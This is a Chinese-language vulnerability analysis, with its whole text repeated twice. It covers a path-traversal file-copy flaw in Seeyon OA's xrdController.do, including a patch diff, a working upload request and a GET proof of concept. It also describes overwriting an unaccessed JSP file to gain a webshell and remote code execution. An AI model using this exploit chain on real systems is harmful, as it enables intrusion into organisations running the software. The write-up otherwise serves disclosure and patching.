某远OA xrdController.do后台文件复制漏洞分析
漏洞概述
某远OA系统xrdController.do接口存在文件复制漏洞,攻击者可通过构造特定参数实现任意文件写入,在特定条件下可导致远程代码执行。
漏洞补丁信息
官方补丁地址:https://service.seeyon.com/patchtools/tp.html#/patchList?type=安全补丁&id=135
影响版本:某远A8-v8.2SP1及之前版本
漏洞复现环境
- 某远A8-v8.2SP1
- 需要登录凭证
漏洞详细分析
1. 漏洞位置
漏洞位于xrdController.do控制器的checkIsSign方法中,主要问题在于对fileName参数处理不当。
2. 漏洞代码分析
补丁前后对比
漏洞版本:
// 直接通过HTTP参数拼接路径,未进行安全过滤
String fileName = request.getParameter("fileName");
String copyPath = file.getParent() + File.separator + "xrd" + File.separator + fileName;
修复版本:
// 使用规范化路径处理,防止目录穿越
fileName = (new File(Strings.getCanonicalPath(fileName))).getName();
3. 参数构造分析
请求参数要求:
summaryId:任意值(如123)attList:格式为{fildData[0]}${fildData[1]},其中:fildData[0]:文件ID(通过文件上传获取)fildData[1]:文件名(可包含路径穿越字符)
文件上传获取fileId:
POST /seeyon/fileUpload.do?method=processUpload&type=0&firstSave=true&inputId=localImport&applicationCategory=1&extensions=txt&quantity=1&maxSize=52428800&isEncrypt=false&popupTitleKey=&attachmentTrId=poiLocalImport&callMethod=localImportPortalPackgeCallBack HTTP/1.1
Host: 192.168.81.194
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD4liNoBEBG7u06fv
Cookie: [有效会话Cookie]
------WebKitFormBoundaryD4liNoBEBG7u06fv
Content-Disposition: form-data; name="upload"; filename="333.txt"
Content-Type: text/plain
123123
------WebKitFormBoundaryD4liNoBEBG7u06fv--
4. 漏洞利用原理
关键代码路径:
String copyPath = file.getParent() + File.separator + "xrd" + File.separator + fileName;
CtpLocalFile output = new CtpLocalFile(copyPath + File.separator + fileName);
路径穿越分析:
-
正常情况:输入
/../../../Apa/web1/test- 输出路径:
/see/ba/temp/xr/../../../Apa/web1/test/../../../Apa/web1/test - 最终路径:
/see/Apa/web1/test
- 输出路径:
-
特殊限制:由于路径拼接方式,穿越层级受到限制,最多只能回退3级目录。
5. 绕过技术
文件覆盖技术:
通过指定已存在的文件路径进行覆盖,避免创建新文件夹的限制:
- 如果目标文件不存在,系统会先创建文件夹再创建文件
- 如果目标文件已存在,直接进行文件覆盖
RCE实现条件:
- 找到Web目录中未被访问过的JSP文件
- 通过文件覆盖写入恶意JSP代码
- 访问该JSP文件触发代码执行
- 注意:某远OA的Web目录不支持热加载,已访问过的JSP文件有缓存
6. 漏洞利用POC
GET /seeyon/xrdController.do?method=checkIsSign&summaryId=123&attList={文件ID}${../../../路径/文件名} HTTP/1.1
Host: 目标服务器
RequestType: AJAX
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: [有效会话Cookie]
7. 漏洞验证结果
成功实现任意文件写入,在特定条件下可获取Webshell实现远程代码执行。
防护建议
- 及时安装官方安全补丁
- 对用户输入的路径参数进行规范化处理和严格验证
- 实施最小权限原则,限制Web应用的文件系统访问权限
- 定期进行安全审计和漏洞扫描
技术要点总结
- 漏洞根源:未对用户输入的fileName参数进行安全过滤
- 利用关键:通过目录穿越实现任意文件写入
- 绕过技巧:利用文件覆盖机制突破路径限制
- RCE条件:需要结合Web目录特性和文件覆盖技术
免责声明:本文仅用于安全研究和教育目的,禁止用于非法攻击活动。
某远OA xrdController.do后台文件复制漏洞分析
漏洞概述
某远OA系统xrdController.do接口存在文件复制漏洞,攻击者可通过构造特定参数实现任意文件写入,在特定条件下可导致远程代码执行。
漏洞补丁信息
官方补丁地址:https://service.seeyon.com/patchtools/tp.html#/patchList?type=安全补丁&id=135
影响版本:某远A8-v8.2SP1及之前版本
漏洞复现环境
- 某远A8-v8.2SP1
- 需要登录凭证
漏洞详细分析
1. 漏洞位置
漏洞位于xrdController.do控制器的checkIsSign方法中,主要问题在于对fileName参数处理不当。
2. 漏洞代码分析
补丁前后对比
漏洞版本:
// 直接通过HTTP参数拼接路径,未进行安全过滤
String fileName = request.getParameter("fileName");
String copyPath = file.getParent() + File.separator + "xrd" + File.separator + fileName;
修复版本:
// 使用规范化路径处理,防止目录穿越
fileName = (new File(Strings.getCanonicalPath(fileName))).getName();
3. 参数构造分析
请求参数要求:
summaryId:任意值(如123)attList:格式为{fildData[0]}${fildData[1]},其中:fildData[0]:文件ID(通过文件上传获取)fildData[1]:文件名(可包含路径穿越字符)
文件上传获取fileId:
POST /seeyon/fileUpload.do?method=processUpload&type=0&firstSave=true&inputId=localImport&applicationCategory=1&extensions=txt&quantity=1&maxSize=52428800&isEncrypt=false&popupTitleKey=&attachmentTrId=poiLocalImport&callMethod=localImportPortalPackgeCallBack HTTP/1.1
Host: 192.168.81.194
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD4liNoBEBG7u06fv
Cookie: [有效会话Cookie]
------WebKitFormBoundaryD4liNoBEBG7u06fv
Content-Disposition: form-data; name="upload"; filename="333.txt"
Content-Type: text/plain
123123
------WebKitFormBoundaryD4liNoBEBG7u06fv--
4. 漏洞利用原理
关键代码路径:
String copyPath = file.getParent() + File.separator + "xrd" + File.separator + fileName;
CtpLocalFile output = new CtpLocalFile(copyPath + File.separator + fileName);
路径穿越分析:
-
正常情况:输入
/../../../Apa/web1/test- 输出路径:
/see/ba/temp/xr/../../../Apa/web1/test/../../../Apa/web1/test - 最终路径:
/see/Apa/web1/test
- 输出路径:
-
特殊限制:由于路径拼接方式,穿越层级受到限制,最多只能回退3级目录。
5. 绕过技术
文件覆盖技术:
通过指定已存在的文件路径进行覆盖,避免创建新文件夹的限制:
- 如果目标文件不存在,系统会先创建文件夹再创建文件
- 如果目标文件已存在,直接进行文件覆盖
RCE实现条件:
- 找到Web目录中未被访问过的JSP文件
- 通过文件覆盖写入恶意JSP代码
- 访问该JSP文件触发代码执行
- 注意:某远OA的Web目录不支持热加载,已访问过的JSP文件有缓存
6. 漏洞利用POC
GET /seeyon/xrdController.do?method=checkIsSign&summaryId=123&attList={文件ID}${../../../路径/文件名} HTTP/1.1
Host: 目标服务器
RequestType: AJAX
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: [有效会话Cookie]
7. 漏洞验证结果
成功实现任意文件写入,在特定条件下可获取Webshell实现远程代码执行。
防护建议
- 及时安装官方安全补丁
- 对用户输入的路径参数进行规范化处理和严格验证
- 实施最小权限原则,限制Web应用的文件系统访问权限
- 定期进行安全审计和漏洞扫描
技术要点总结
- 漏洞根源:未对用户输入的fileName参数进行安全过滤
- 利用关键:通过目录穿越实现任意文件写入
- 绕过技巧:利用文件覆盖机制突破路径限制
- RCE条件:需要结合Web目录特性和文件覆盖技术
免责声明:本文仅用于安全研究和教育目的,禁止用于非法攻击活动。